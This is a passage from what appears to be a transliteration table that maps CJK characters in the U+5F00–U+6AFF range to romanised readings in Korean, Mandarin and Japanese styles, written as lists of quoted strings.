'Huo ','Shan ','Hyeng ','Wen ','Tong ','En ','En ','Wuk ','Chi ','Chay ','Phyo ','Co ','Pin ','Phayng ','Yong ','Piao ',
'Chang ','Yeng ','Chi ','Chi ','Zhuo ','Tuo ','Ji ','Pang ','Zhong ','Yek ','Wang ','Che ','Phi ','Chi ','Ling ','Pwul ',
'Wang ','Ceng ','Co ','Wang ','Kyeng ','Tay ','Xi ','Swun ','Hun ','Yang ','Hoy ','Lyul ','Hwu ','Wa ','Cheng ','Zhi ',
'Se ','Kyeng ','To ','Cong ','','Lai ','Cong ','Tuk ','Pay ','Sa ','','Qi ','Sang ','Zhi ','Cong ','Zhou ',
'Lay ','E ','Xie ','Cha ','Jian ','Chi ','Jia ','Phyen ','Hwang ','Pok ','Swun ','Wei ','Pang ','Yo ','Mi ','Hyey ',
'Zheng ','Piao ','Chi ','Tek ','Cing ','Cing ','Bie ','Tek ','Chong ','Chel ','Jiao ','Wei ','Yo ','Hwi ','Mei ','Long ',
'Xiang ','Bao ','Qu ','Sim ','Ritsushinben ','Phil ','Yi ','Le ','Ren ','To ','Ding ','Gai ','Ki ','In ','Ren ','Chan ',
'Tham ','Te ','Thuk ','Gan ','Qi ','Shi ','Chon ','Ci ','Mang ','Mang ','Xi ','Fan ','Ung ','Chem ','Min ','Min ',
'Chwung ','Chwung ','O ','Ji ','O ','Xi ','Ye ','You ','Wan ','Cong ','Zhong ','Khway ','Yu ','Pyen ','Ki ','Qi ',
'Cui ','Chim ','Tai ','Tun ','Qian ','Nyem ','Hun ','Hyung ','Nyu ','Wang ','Xian ','Hun ','Kang ','Hol ','Kai ','Pwun ',
],
'x60':[
'Huai ','Tai ','Song ','Wu ','Ou ','Chang ','Chuang ','Ju ','Yi ','Bao ','Cho ','Min ','Pei ','Cak ','Zen ','Ang ',
'Kou ','Ban ','No ','Nao ','Ceng ','Pha ','Pho ','Chep ','Gu ','Ho ','Ju ','Tal ','Lyeng ','Sa ','Chou ','Di ',
'Thay ','I ','Tu ','You ','Fu ','Kup ','Phyeng ','Seng ','Wen ','Ni ','Koy ','Fu ','Xi ','Bi ','You ','Kep ',
'Xuan ','Chong ','Bing ','Hwang ','Xu ','Chu ','Pi ','Xi ','Xi ','Tan ','Koraeru ','Zong ','Dui ','','Ki ','Yi ',
'Chi ','Im ','Swun ','Si ','Xi ','Lao ','Hang ','Kwang ','Mo ','Zhi ','Hyep ','Lyen ','Tiao ','Hwang ','Die ','Hao ',
'Kong ','Gui ','Hang ','Xi ','Xiao ','Se ','Shi ','Kua ','Qiu ','Yang ','Ey ','Hui ','Chi ','Kwal ','Yi ','Hyung ',
'Koy ','Lin ','Hoy ','Ca ','Hyul ','Chi ','Xiang ','Nu ','Han ','Un ','Kak ','Thong ','Nyem ','Kong ','Quan ','Sik ',
'Hup ','Yue ','Peng ','Ken ','De ','Hyey ','E ','Kyuu ','Tong ','Yan ','Kai ','Ce ','Nao ','Yun ','Mang ','Yong ',
'Yong ','Yen ','Pi ','Kon ','Cho ','Yel ','Yu ','Yu ','Jie ','Sil ','Zhe ','Lin ','Cey ','Han ','Hao ','Hyep ',
'Ti ','Bu ','Up ','Qian ','Hoy ','Huy ','Phay ','Mwun ','Yi ','Heng ','Song ','Cen ','Cheng ','Kui ','Wu ','O ',
'Yu ','Li ','Lyang ','Hwan ','Chong ','Yi ','Yel ','Li ','Nin ','Noy ','Ak ','Que ','Xuan ','Qian ','Wu ','Min ',
'Cong ','Pi ','Pi ','Tek ','Chwey ','Chang ','Min ','Li ','Kyey ','Guan ','Guan ','Hayng ','To ','Che ','Kong ','Tian ',
'Lun ','Xi ','Kan ','Kun ','Nyek ','Ceng ','Chwu ','Ton ','Guo ','Chem ','Liang ','Wan ','Yuan ','Jin ','Ji ','Lam ',
'Yu ','Hok ','He ','Kwen ','Tan ','Chek ','Chek ','Nie ','Mang ','Chel ','Hol ','Hon ','Sek ','Chang ','Xin ','Yu ',
'Hyey ','Ak ','Swa ','Chong ','Jian ','Yong ','Dian ','Ju ','Cham ','Cheng ','Tek ','Bei ','Qie ','Can ','Dan ','Guan ',
'Tha ','Noy ','Wun ','Sang ','Chwey ','Die ','Hwang ','Cwun ','Kyeng ','Ya ','Seng ','Chuk ','Phyen ','Hun ','Zong ','Ti ',
],
'x61':[
'Cho ','Swu ','Bei ','Sen ','Wei ','Ge ','Ken ','Wei ','Yu ','Yu ','Bi ','Xuan ','Huan ','Min ','Phyak ','Uy ',
'Mian ','Yong ','Kai ','Dang ','Um ','Ak ','Chen ','Mou ','Ke ','Ke ','Wu ','Ay ','Hyep ','Yan ','Nuo ','Kam ',
'On ','Zong ','Sai ','Leng ','Fen ','','Kui ','Koy ','Que ','Gong ','Yun ','Su ','So ','Ki ','Yao ','Song ',
'Hwang ','Ji ','Gu ','Ju ','Chang ','Ni ','Xie ','Kay ','Zheng ','Yong ','Cao ','Sun ','Sin ','Bo ','Kay ','Wen ',
'Xie ','Hun ','Yong ','Yang ','Lyul ','Sao ','To ','Un ','Ca ','Xu ','Kyem ','Thay ','Hwang ','On ','Shen ','Ming ',
'','She ','Cong ','Phyo ','Mo ','Mo ','Guo ','Chi ','Cham ','Cham ','Cham ','Cui ','Min ','Thuk ','Zhang ','Thong ',
'O ','Shuang ','Man ','Kwan ','Kak ','Zao ','Jiu ','Hyey ','Kay ','Lian ','Ou ','Cong ','Jin ','Yin ','Lye ','Shang ',
'Wi ','Tan ','Man ','Kan ','Sup ','Yong ','Kyeng ','Kang ','Di ','Zhi ','Lwu ','Juan ','Chek ','Chek ','Yok ','Ping ',
'Liao ','Chong ','Wu ','Yong ','Zhi ','Tong ','Cheng ','Qi ','Qu ','Peng ','Pi ','Pyel ','Chun ','Kyo ','Cung ','Chi ',
'Lyen ','Ping ','Kwey ','Hui ','Cho ','Cheng ','Un ','Yin ','Huy ','Huy ','Than ','Tan ','Duo ','Dui ','Dui ','Su ',
'Jue ','Ce ','Xiao ','Fan ','Pwun ','Lao ','Lao ','Tong ','Kam ','Key ','Xian ','Min ','Kyeng ','Liao ','Mwu ','Cham ',
'Jue ','Cu ','Hen ','Tan ','Sheng ','Pi ','Ek ','Chu ','Sem ','Nao ','Tam ','Than ','Kyeng ','Song ','Kam ','Jiao ',
'Wai ','Huan ','Dong ','Kun ','Qin ','Qu ','Co ','Kan ','Hay ','Ung ','O ','Mwu ','Yek ','Lin ','Se ','Jun ',
'Huai ','Men ','Lan ','Ai ','Lin ','Yem ','Gua ','Ha ','Chi ','Yu ','Yin ','Dai ','Meng ','Ai ','Mong ','Tay ',
'Qi ','Mo ','Lan ','Mwun ','Chou ','Zhi ','Na ','Nuo ','Yan ','Yang ','Bo ','Zhi ','Kuang ','Kuang ','You ','Fu ',
'Liu ','Mie ','Cing ','','Chan ','Meng ','La ','Hoy ','Hyen ','Rang ','Cham ','Ji ','Kwu ','Hwan ','Sep ','Uy ',
],
'x62':[
'Lyen ','Nan ','Mi ','Tang ','Jue ','Gang ','Gang ','Tang ','Kwa ','Yue ','Mwu ','Jian ','Swul ','Swu ','Yung ','Xi ',
'Seng ','A ','Kyey ','Ge ','Can ','Cang ','Hok ','Qiang ','Zhan ','Dong ','Chek ','Jia ','Die ','Cek ','Al ','Kuk ',
'Shi ','Kam ','Cip ','Kui ','Gai ','Deng ','Cen ','Chang ','Ge ','Cen ','Cel ','Yu ','Jian ','Yan ','Lyuk ','Huy ',
'Cen ','Huy ','Huy ','Chak ','Tay ','Kwu ','Ho ','Ho ','Ho ','Ayk ','Shi ','Lye ','Mao ','Hu ','Lye ','Pang ',
'So ','Phyen ','Dian ','Kyeng ','Shang ','Yi ','Yi ','Sen ','Ho ','Pi ','Yem ','Swu ','Shu ','Cay ','Chal ','Qiu ',
'Le ','Pok ','Pay ','Tha ','Reng ','Pwul ','Hameru ','Cay ','Thak ','Zhang ','Diao ','Kang ','Yu ','Ku ','Han ','Shen ',
'Cha ','Yi ','Gu ','Kwu ','Wu ','Tuo ','Qian ','Zhi ','In ','Kuo ','Men ','Sao ','Yang ','Niu ','Pwun ','Cha ',
'Rao ','Kup ','Qian ','Pan ','Jia ','Yu ','Pwu ','Ao ','Xi ','Pi ','Ci ','Zi ','Ayk ','Dun ','Co ','Sung ',
'Ki ','Yan ','Kuang ','Pyen ','Cho ','Ju ','Mwun ','Hu ','Yue ','Kyel ','Pha ','Qin ','Zhen ','Zheng ','Yun ','Wan ',
'Nu ','Ek ','Se ','Co ','Pwu ','Thwu ','Twu ','Hang ','Cel ','Pou ','Fu ','Pho ','Pal ','Ao ','Thayk ','Tuan ',
'Kou ','Lun ','Qiang ','','Hu ','Bao ','Bing ','Zhi ','Phyeng ','Tan ','Pu ','Phi ','Thay ','Yao ','Zhen ','Zha ',
'Yang ','Pho ','He ','Ni ','Yi ','Ce ','Chi ','Pi ','Za ','Mal ','Mei ','Shen ','Ap ','Chwu ','Qu ','Min ',
'Chu ','Jia ','Pwul ','Zhan ','Cwu ','Tan ','Thak ','Mwu ','Nyem ','Lap ','Pwu ','Pho ','Pan ','Pak ','Ling ','Na ',
'Koy ','Kyem ','Ke ','Chek ','Pal ','Tha ','Tha ','Yo ','Kwu ','Col ','Pan ','Cho ','Pay ','Bai ','Di ','Ni ',
'Ke ','Hwak ','Long ','Jian ','','Yong ','Lan ','Ning ','Pal ','Ze ','Qian ','Hen ','Kwal ','Sik ','Kil ','Cung ',
'Nin ','Kong ','Gong ','Kwen ','Shuan ','Con ','Chal ','Ko ','Chi ','Xie ','Ce ','Hui ','Phyeng ','Yey ','Sup ','Na ',
],
'x63':[
'Bo ','Ci ','Kway ','Zhi ','Kuo ','Duo ','Duo ','Ci ','Sel ','An ','Nong ','Zhen ','Kyek ','Jiao ','Ku ','Dong ',
'Na ','To ','Lyen ','Zha ','Lu ','Die ','Wa ','Jue ','Lyut ','Ju ','Zhi ','Luan ','Ya ','Zhua ','Ta ','Xie ',
'Nao ','Dang ','Jiao ','Zheng ','Ji ','Hui ','Xun ','Ku ','Ay ','Tuo ','Na ','Cwa ','Bo ','Geng ','Ti ','Cin ',
'Cheng ','Suo ','Suo ','Keng ','Mei ','Long ','Ju ','Peng ','Jian ','Up ','Ceng ','Yen ','Nuo ','Man ','Hyep ','Cha ',
'Feng ','Jiao ','O ','Kwun ','Kwu ','Tong ','Kon ','Huo ','Tu ','Chak ','Pou ','Le ','Phal ','Han ','So ','Nal ',
'Yen ','Ze ','Song ','Ye ','Jue ','Pho ','Huan ','Chek ','Zun ','Yi ','Zhai ','Lu ','Sou ','Tuo ','Lao ','Sun ',
'Bang ','Jian ','Hwan ','Dao ','','Wan ','Qin ','Pong ','Sa ','Lyel ','Min ','Mwun ','Fu ','Bai ','Ke ','Dao ',
'Wo ','Ay ','Kwen ','Yue ','Zong ','Chen ','Chwu ','Chep ','Tu ','Ben ','Nal ','Nyem ','Nuo ','Zu ','Wo ','Se ',
'Hun ','Cheng ','Dian ','So ','Lyun ','Qing ','Gang ','Chel ','Swu ','To ','Pwu ','Di ','Cang ','Gun ','Ki ','To ',
'Qia ','Qi ','Pay ','Shu ','Qian ','Ling ','Ayk ','Ya ','Kwul ','Zheng ','Liang ','Kway ','Yey ','Huo ','Shan ','Ceng ',
'Lyak ','Chay ','Tham ','Chey ','Bing ','Cep ','Ti ','Kong ','Chwu ','Em ','Co ','Zou ','Kwuk ','Tian ','Qian ','Ken ',
'Bai ','Shou ','Key ','Lu ','Guo ','Haba ','','Zhi ','Dan ','Maang ','Xian ','So ','Guan ','Peng ','Yen ','Nuo ',
'Kan ','Zhen ','Jiu ','Cen ','Yu ','Yan ','Kyu ','Nan ','Hong ','Yu ','Pi ','Wei ','Sai ','Zou ','Xuan ','Myo ',
'Cey ','Nie ','Sap ','Shi ','Zong ','Zhen ','Up ','Shun ','Heng ','Bian ','Yang ','Hwan ','Am ','Zuan ','An ','Se ',
'Al ','Ak ','Ke ','Chwi ','Ji ','Ti ','La ','La ','Cheng ','Kay ','Jiu ','Chwu ','Tu ','Key ','Hwi ','Geng ',
'Chong ','Shuo ','Sel ','Xie ','Wen ','Ken ','Ya ','Sap ','Zha ','Bei ','Yao ','','Dam ','Lan ','Wen ','Qin ',
],
'x64':[
'Chan ','Ge ','Lou ','Zong ','Geng ','Jiao ','Kwu ','Qin ','Yong ','Kak ','Chou ','Chi ','Zhan ','Son ','Sun ','Pak ',
'Hyuk ','Rong ','Pang ','Cha ','So ','Ke ','Yo ','To ','Zhi ','Nu ','Xie ','Jian ','Swu ','Qiu ','Gao ','Xian ',
'Shuo ','Sang ','Cin ','Mie ','Ayk ','Chwu ','Nuo ','Shan ','Thap ','Jie ','Tang ','Pan ','Pan ','Thap ','Li ','To ',
'Kol ','Zhi ','Wa ','Xia ','Qian ','Wen ','Chang ','Tian ','Zhen ','E ','Hyu ','Nuo ','Quan ','Cha ','Chak ','Ge ',
'Wu ','En ','Sep ','Kang ','She ','Shu ','Bai ','Yao ','Bin ','Sou ','Tan ','Sa ','Chan ','Suo ','Liao ','Chong ',
'Chuang ','Guo ','Pyeng ','Feng ','Shuai ','Di ','Qi ','','Cek ','Lian ','Tang ','Chi ','Guan ','Lu ','Luo ','Lou ',
'Chong ','Gai ','Hu ','Zha ','Chuang ','Tang ','Hua ','Choy ','Nai ','Ma ','Jiang ','Gui ','Ying ','Chek ','Ao ','Ci ',
'Nie ','Man ','Shan ','Kwu ','Shu ','Suo ','Tuan ','Jiao ','Mo ','Mo ','Cep ','Sem ','Keng ','Phyo ','Jiang ','Yin ',
'Gou ','Qian ','Liao ','Kyek ','Ying ','Kwey ','Pie ','Pie ','Lo ','Dun ','Xian ','Ruan ','Kui ','Zan ','Yi ','Xun ',
'Thayng ','Thayng ','Sal ','Yo ','Heng ','Se ','Qian ','Huang ','Thap ','Cwun ','Nyen ','Lin ','Zheng ','Hwi ','Tang ','Kyo ',
'Ji ','Cao ','Dan ','Dan ','Chel ','Pal ','Che ','Jue ','Xiao ','Lyo ','Ben ','Mwu ','Qiao ','Pha ','Chwal ','Zhuo ',
'Chan ','Tuo ','Pak ','Qin ','Dun ','Nian ','','Xie ','Lu ','Kyo ','Cuan ','Tal ','Kam ','Qiao ','Kwa ','Kem ',
'Gan ','Ong ','Lei ','Kuo ','Lo ','Chen ','Zhuo ','Thayk ','Pu ','Chak ','Kyek ','Dang ','Suo ','Co ','Kyeng ','Jing ',
'Hwan ','Jie ','Kum ','Kuai ','Tam ','Hyu ','Ge ','Pyek ','Pyek ','Ao ','Ke ','Ye ','','Mang ','Sou ','Mi ',
'Cey ','Tay ','Thak ','To ','Xing ','Lam ','Chal ','Ke ','Ye ','Ru ','Ye ','Ye ','Uy ','Hwa ','Ji ','Pin ',
'Ning ','Kak ','Chek ','Jie ','Hwak ','Mo ','Jian ','Xie ','Lie ','Tan ','Pha ','Sou ','Lu ','Lue ','Yo ','Zhi ',
],
'x65':[
'Pan ','Yang ','Long ','Sa ','The ','Zan ','Nian ','Hen ','Jun ','Huo ','Lye ','La ','Han ','Ying ','Lu ','Long ',
'Qian ','Qian ','Zan ','Qian ','Lan ','San ','Ying ','Mei ','Yang ','Cham ','','Cuan ','Xie ','Sep ','Luo ','Jun ',
'Mi ','Li ','Chan ','Lyen ','Than ','Zuan ','Li ','Dian ','Wa ','Dang ','Kyo ','Hwak ','Lam ','Li ','Nang ','Ci ',
'Gui ','Gui ','Ki ','Xin ','Pu ','Sui ','Swu ','Ko ','Yu ','Kay ','Yi ','Kong ','Gan ','Pan ','Pang ','Ceng ',
'Bo ','Dian ','Kou ','Min ','Wu ','Ko ','He ','Ce ','Hyo ','Mi ','Chu ','Ge ','Di ','Se ','Kyo ','Min ',
'Chen ','Kwu ','Zhen ','Duo ','E ','Chik ','O ','Phay ','Se ','Kyo ','Duo ','Lian ','Nie ','Phyey ','Chang ','Dian ',
'Duo ','I ','Kam ','San ','Ke ','Yan ','Ton ','Qi ','Dou ','Hyo ','Duo ','Jiao ','Kyeng ','Yang ','Xia ','Min ',
'Swu ','Ai ','Ko ','Ai ','Ceng ','Cek ','Zhen ','Pwu ','Swu ','Liao ','Qu ','Xiong ','Xi ','Jiao ','Sen ','Jiao ',
'Zhuo ','Twu ','Lyem ','Phyey ','Li ','Hyo ','Hyo ','Mwun ','Hak ','Qi ','Qi ','Zhai ','Pin ','Jue ','Zhai ','',
'Pi ','Pan ','Ban ','Lan ','Yu ','Lan ','Wei ','Twu ','Sheng ','Lyo ','Jia ','Kok ','Sa ','Ka ','Yu ','Cim ',
'Jiao ','Al ','Tou ','Chu ','Kun ','Chek ','Yin ','Pwu ','Qiang ','Zhan ','Qu ','Cak ','Cham ','Tan ','Zhuo ','Sa ',
'Sin ','Cak ','Chak ','Qin ','Lin ','Zhuo ','Chu ','Tan ','Zhu ','Pang ','Xie ','Hang ','E ','Si ','Pei ','Yu ',
'Mye ','Pang ','Ki ','Cen ','Mo ','Lye ','Phay ','Pi ','Liu ','Pwu ','Pang ','Sen ','Ceng ','Jing ','Ni ','Cok ',
'Zhao ','Yi ','Lyu ','Shao ','Jian ','Es ','Yi ','Ki ','Zhi ','Fan ','Piao ','Fan ','Zhan ','Guai ','Sui ','Yu ',
'Mwu ','Ji ','Ki ','Ki ','Huo ','Il ','Tan ','Kwu ','Ci ','Co ','Xie ','Tiao ','Swun ','Wuk ','Xu ','Xu ',
'Kan ','Han ','Tay ','Di ','Wu ','Chan ','Shi ','Kuang ','Yang ','Shi ','Wang ','Min ','Min ','Ton ','Chun ','O ',
],
'x66':[
'Yun ','Bei ','Ang ','Chi ','Ban ','Jie ','Kon ','Sung ','Hu ','Pang ','Ho ','Gui ','Chang ','Xuan ','Myeng ','Hon ',
'Pwun ','Kum ','Hu ','Yek ','Sek ','Hun ','Yan ','Ze ','Fang ','Tan ','Shen ','Ke ','Yang ','Zan ','Pyeng ','Seng ',
'Yeng ','Hyen ','Pei ','Zhen ','Lyeng ','Chwun ','Hao ','May ','Cak ','Mo ','Bian ','Kwu ','Hun ','So ','Zong ','Si ',
'Ha ','Wuk ','Fei ','Die ','Myo ','Nil ','Chang ','On ','Dong ','Ai ','Pyeng ','Ang ','Cwu ','Long ','Xian ','Kuang ',
'Tiao ','Co ','Si ','Hwang ','Hwang ','Xuan ','Kui ','Xu ','Kyo ','Cin ','Zhi ','Cin ','Sang ','Tong ','Hong ','An ',
'Gai ','Xiang ','Shai ','Xiao ','Ye ','Yun ','Hui ','Han ','Han ','Cwun ','Man ','Hyen ','Kun ','Cwu ','Huy ','Seng ',
'Sheng ','Pho ','Cel ','Zhe ','O ','Hwan ','Hoy ','Ho ','Sin ','Man ','Tian ','Thak ','Swi ','Zhou ','Po ','Kyeng ',
'Sek ','Shan ','Yi ','Sek ','Cheng ','Qi ','Ceng ','Kwi ','Ceng ','Yi ','Ci ','Am ','Wan ','Lin ','Liang ','Chang ',
'Wang ','Hyo ','Zan ','Hi ','Hwen ','Xuan ','Yi ','Ka ','Hwun ','Hwi ','Fu ','Min ','Kyu ','He ','Yeng ','Du ',
'Wi ','Se ','Qing ','Mao ','Nan ','Jian ','Nan ','Am ','Yang ','Chun ','Yao ','Suo ','Jin ','Myeng ','Kyo ','Kai ',
'Ko ','Weng ','Chang ','Ki ','Hao ','Yan ','Li ','Ai ','Ki ','Gui ','Men ','Cam ','Sel ','Hao ','Mo ','Mo ',
'Cong ','Nil ','Cang ','Hye ','Phok ','Han ','Xuan ','Chuan ','Lyo ','Sem ','Dan ','Kyeng ','Pie ','Lin ','Ton ','Huy ',
'Ey ','Ki ','Huang ','Tai ','Yep ','Yep ','Lyek ','Tam ','Tong ','Hyo ','Fei ','Qin ','Zhao ','Hao ','Yi ','Xiang ',
'Xing ','Sen ','Jiao ','Pho ','Jing ','Yan ','Ay ','Ye ','Ru ','Se ','Mong ','Hwun ','Yo ','Pho ','Li ','Chen ',
'Kwang ','Cep ','','Yen ','Huo ','Lu ','Huy ','Rong ','Long ','Nang ','La ','Luan ','Swa ','Tang ','Em ','Chok ',
'Wal ','Yue ','Kok ','Yey ','Kyeng ','Ye ','Hu ','Kal ','Se ','Co ','Co ','Shou ','Man ','Ceng ','Cung ','Chey ',
],
'x67':[
'Choy ','Can ','Xu ','Hoy ','Yin ','Kel ','Fen ','Pi ','Wel ','Yu ','Ruan ','Pwung ','Pan ','Pok ','Ling ','Fei ',
'Qu ','','Nu ','Tiao ','Sak ','Cim ','Lang ','Lang ','Juan ','Ming ','Huang ','Mang ','Tun ','Co ','Ki ','Ki ',
'Ying ','Zong ','Wang ','Tong ','Lang ','','Mong ','Long ','Mok ','Tung ','Mi ','Mal ','Pon ','Chal ','Chwul ','Chwul ',
'','Cwu ','Ren ','Pha ','Pak ','Tha ','Tha ','Dao ','Li ','Qiu ','Kwey ','Jiu ','Bi ','Hwu ','Ting ','Ci ',
'Sha ','Eburi ','Za ','Quan ','Qian ','Yu ','Kan ','Wu ','Cha ','Sam ','Xun ','Fan ','Wu ','Zi ','Li ','Hayng ',
'Cay ','Chon ','Ren ','Phyo ','Tuo ','Di ','Cang ','Mang ','Chi ','Yi ','Gu ','Gong ','Twu ','Yi ','Ki ','Sok ',
'Kang ','Co ','Moku ','Son ','Tochi ','Lai ','Sugi ','Mang ','Yang ','Ma ','Cho ','Si ','Wen ','Hang ','Phyey ','Pay ',
'Kel ','Tong ','Ko ','Myo ','Xian ','Ce ','Chun ','Pha ','Shu ','Hua ','Xin ','Nyu ','Ce ','Chou ','Song ','Phan ',
'Song ','Ji ','Yue ','Jin ','Gou ','Ji ','Mao ','Pi ','Bi ','Wang ','Ang ','Pang ','Pwun ','Yi ','Fu ','Nam ',
'Sek ','Hu ','Ya ','Twu ','Xun ','Chim ','Yao ','Lim ','Yey ','Wa ','May ','Zhao ','Kwa ','Ci ','Cong ','Yun ',
'Waku ','Dou ','Shu ','Zao ','','Li ','Ro ','Jian ','Cheng ','Shou ','Qiang ','Feng ','Nan ','Xiao ','Xian ','Ko ',
'Phyeng ','Tay ','Si ','Ci ','Guai ','Xiao ','Ka ','Ka ','Kwu ','Fu ','Mo ','Yi ','Ye ','Ye ','Si ','Nie ',
'Bi ','Tha ','Yi ','Ling ','Pyeng ','Ni ','La ','He ','Pan ','Fan ','Cong ','Dai ','Ci ','Yang ','Fu ','Payk ',
'Mo ','Kam ','Chil ','Yem ','Yu ','Mao ','Zhao ','Song ','Ca ','Hap ','Yu ','Shen ','Gui ','Thak ','Cak ','Nam ',
'Ning ','Yong ','Ce ','Zhi ','Zha ','Sa ','Dan ','Gu ','','Kwu ','Ao ','Fu ','Kan ','Bo ','Duo ','Ka ',
'Nay ','Cwu ','Bi ','Lyu ','Si ','Chayk ','Sa ','Chwuk ','Pei ','Si ','Guai ','Sa ','Yao ','Jue ','Kwu ','Si ',
],
'x68':[
'Zhi ','Liu ','Mei ','Hoy ','Yeng ','Chayk ','','Biao ','Zhan ','Jie ','Long ','Dong ','Lu ','Sayng ','Li ','Lan ',
'Yong ','Shu ','Swun ','Cen ','Qi ','Zhen ','Se ','Lyul ','Yi ','Xiang ','Zhen ','Li ','Su ','Kwal ','Kan ','Bing ',
'Ren ','Kyo ','Payk ','Ren ','Bing ','Zi ','Chou ','Yi ','Jie ','Xu ','Cwu ','Jian ','Zui ','Er ','I ','Wuk ',
'Fa ','Kong ','Ko ','Lao ','Cen ','Li ','','Yang ','Hayk ','Kun ','Zhi ','Sik ','Kyek ','Cay ','Luan ','Fu ',
'Kel ','Hang ','Kyey ','To ','Kwang ','Wei ','Kwang ','Ru ','An ','An ','Juan ','Yi ','Zhuo ','Ku ','Cil ','Qiong ',
'Tong ','Sang ','Sang ','Hwan ','Kil ','Jiu ','Xue ','Duo ','Zhui ','Yu ','Zan ','Kasei ','Ayng ','Masu ','','Zhan ',
'Ya ','Nao ','Zhen ','Dang ','Qi ','Qiao ','Hua ','Hoy ','Jiang ','Zhuang ','Xun ','Suo ','Sha ','Cin ','Bei ','Ceng ',
'Gua ','Jing ','Bo ','Ben ','Pwu ','Rui ','Thong ','Kak ','Xi ','Lang ','Liu ','Feng ','Qi ','Wen ','Kwun ','Han ',
'Cu ','Lyang ','Qiu ','Ceng ','You ','May ','Pang ','Long ','Peng ','Zhuang ','Di ','Xuan ','Tu ','Zao ','Ao ','Kok ',
'Bi ','Di ','Han ','Cay ','Chi ','Ren ','Bei ','Kyeng ','Jian ','Huan ','Wan ','Na ','Jia ','Co ','Ji ','Hyo ',
'Lye ','Wan ','Cho ','Sim ','Fen ','Song ','Meng ','O ','Li ','Li ','Dou ','Cen ','Ying ','Sa ','Ju ','Cey ',
'Kyey ','Kon ','Zhuo ','So ','Chan ','Pem ','Mi ','Jing ','Li ','Bing ','Fumoto ','Shikimi ','Tao ','Zhi ','Lai ','Lian ',
'Jian ','Zhuo ','Ling ','Li ','Ki ','Pyeng ','Zhun ','Cong ','Qian ','Myen ','Ki ','Ki ','Chay ','Kon ','Chan ','Te ',
'Pi ','Pai ','Pong ','Pou ','Hun ','Cong ','Ceng ','Co ','Kuk ','Li ','Pwung ','Yu ','Yu ','Gu ','Hun ','Tong ',
'Tang ','Gang ','Wang ','Chey ','Xi ','Fan ','Cheng ','Can ','Kyey ','Yuan ','Yan ','Yu ','Kwen ','Yi ','Sam ','Ren ',
'Chui ','Leng ','Se ','Zhuo ','Fu ','Ke ','Lai ','Zou ','Zou ','To ','Kwan ','Pwun ','Pwun ','Chen ','Qiong ','Nie ',
],
'x69':[
'Wan ','Kwak ','Lu ','Hao ','Cep ','Uy ','Chou ','Ju ','Ju ','Cheng ','Zuo ','Lyang ','Qiang ','Sik ','Chwu ','Ya ',
'Ju ','Pi ','Cho ','Zhuo ','Zi ','Bin ','Peng ','Ding ','Chu ','Chang ','Mun ','Momiji ','Kem ','Gui ','Xi ','Du ',
'Qian ','Kunugi ','Kai ','Shide ','Luo ','Zhi ','Ken ','Myeng ','Tafu ','','Peng ','Zhan ','','Tuo ','Sen ','Duo ',
'Ya ','Fou ','Wei ','Wei ','Tan ','Jia ','Cong ','Jian ','Yi ','Chim ','Po ','Yan ','Yan ','Yen ','Zhan ','Chwun ',
'Yu ','He ','Sa ','Wo ','Pian ','Bi ','Yao ','Huo ','Xu ','Ruo ','Yang ','La ','Yan ','Ben ','Hun ','Kyu ',
'Jie ','Kui ','Si ','Phwung ','Sel ','Tha ','Zhi ','Ken ','Mu ','Mwu ','Cho ','Hu ','Hu ','Lyen ','Lung ','Ting ',
'Nam ','Yu ','Yu ','Mi ','Song ','Wen ','Wen ','Ying ','Ceng ','Pian ','Cep ','Cup ','Kal ','Ep ','Ce ','Swun ',
'Yu ','Cou ','Wei ','May ','Di ','Kuk ','Jie ','Hay ','Chwu ','Yeng ','Rou ','Heng ','Lwu ','Le ','Hazou ','Katsura ',
'Pin ','Muro ','Kay ','Tan ','Lan ','Yun ','Yu ','Chen ','Lu ','Ju ','Sakaki ','','Pi ','Xie ','Ka ','Yi ',
'Zhan ','Pwu ','Nai ','Mi ','Lang ','Yong ','Kok ','Jian ','Kwu ','Ta ','Yao ','Cin ','Pang ','Sha ','Yuan ','Cay ',
'Ming ','Su ','Jia ','Yao ','Kel ','Hwang ','Kan ','Pi ','Ca ','Qian ','Ma ','Sun ','Yuan ','Sa ','Yeng ','Shi ',
'Ci ','Choy ','Yun ','Ting ','Lyu ','Rong ','Tang ','Kyo ','Zhai ','Si ','Sheng ','Thap ','Hap ','Xi ','Kol ','Qi ',
'Ko ','Ko ','Sun ','Pan ','Tao ','Ge ','Xun ','Cen ','Nou ','Ji ','Sak ','Kwu ','Thoy ','Chang ','Cha ','Qian ',
'Koy ','Mei ','Xu ','Kong ','Gao ','Zhuo ','Tuo ','Kyou ','Yang ','Cen ','Jia ','Jian ','Zui ','Tou ','Rou ','Bin ',
'Zhu ','','Xi ','Qi ','Lian ','Hyey ','Yong ','Cham ','Kwak ','Kay ','Kay ','Tuan ','Hua ','Sayk ','Sen ','Cui ',
'Beng ','You ','Kok ','Jiang ','Hu ','Huan ','Kui ','Yi ','Nie ','Ko ','Kang ','Kyu ','Gui ','Co ','Man ','Kun ',
],
'x6a':[
'Cek ','Zhuang ','Ak ','Lang ','Chen ','Cong ','Li ','Xiu ','Qing ','Shuang ','Pen ','Thong ','Guan ','Ji ','Suo ','Lei ',
'Lu ','Lyang ','Mil ','Lwu ','So ','Su ','Ke ','Ce ','Tang ','Phyo ','Lu ','Kyu ','Shu ','Zha ','Chwu ','Cang ',
'Men ','Mo ','Niao ','Yang ','Tiao ','Peng ','Zhu ','Sha ','Chi ','Kwen ','Hoyng ','Kyen ','Cong ','','Hokuso ','Qiang ',
'Tara ','Ying ','Er ','Xin ','Zhi ','Cho ','Zui ','Cong ','Pok ','Swu ','Hwa ','Kwey ','Zhen ','Cwun ','Yue ','Zhan ',
'Xi ','Xun ','Dian ','Pel ','Kam ','Mo ','Wu ','Chwi ','Yo ','Lin ','Lyu ','Kyo ','Xian ','Run ','Fan ','Zhan ',
'Thak ','Lao ','Wun ','Swun ','Tui ','Cheng ','Tang ','Meng ','Kyul ','Tung ','Swuk ','Jue ','Jue ','Tan ','Hui ','Ki ',
'Nuo ','Sang ','Tha ','Ning ','Rui ','Zhu ','Tong ','Zeng ','Fen ','Qiong ','Ran ','Hoyng ','Cen ','Gu ','Liu ','Lao ',
'Gao ','Chu ','Zusa ','Nude ','Ca ','San ','Ji ','Dou ','Shou ','Lu ','Gian ','','Yuan ','Ta ','Shu ','Kang ',
'Tan ','Lin ','Nong ','Yin ','Kyek ','Sui ','Shan ','Zui ','Xuan ','Ceng ','Gan ','Ju ','Zui ','Ek ','Kum ','Pu ',
